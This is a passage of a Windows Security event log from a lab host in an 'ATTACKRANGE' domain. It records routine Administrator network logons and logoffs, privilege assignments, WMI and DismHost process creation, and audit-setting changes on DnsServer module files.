	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247014
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247013
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFAF0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247012
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247011
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x934A1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247010
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFAF0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247009
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFAF0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247008
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247007
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247006
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFABE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247005
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFABE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247004
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFABE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247003
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247002
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247001
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDB957

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247000
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x94C48

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246999
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x936F7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247041
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\Windows\Temp\669666F2-2345-481B-9290-F1E50E39C287\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Process Command Line:	C:\Windows\TEMP\669666F2-2345-481B-9290-F1E50E39C287\dismhost.exe {2961654B-055F-4F0F-B700-763990392617}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247040
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247039
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1A07

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247038
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1A07
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247037
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247036
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247042
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247043
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x488
	New Process Name:	C:\Windows\Temp\460C0C36-5FE9-4E5E-8DE7-28EF0BB9CE0D\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Process Command Line:	C:\Windows\TEMP\460C0C36-5FE9-4E5E-8DE7-28EF0BB9CE0D\dismhost.exe {DB060743-CA51-421C-869D-B12D31D52BA9}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247048
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xFA91B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247047
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xFA91B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247046
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247045
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247044
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1A07

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247208
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneUnsign_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247207
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransferPolicy_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247206
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransfer_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
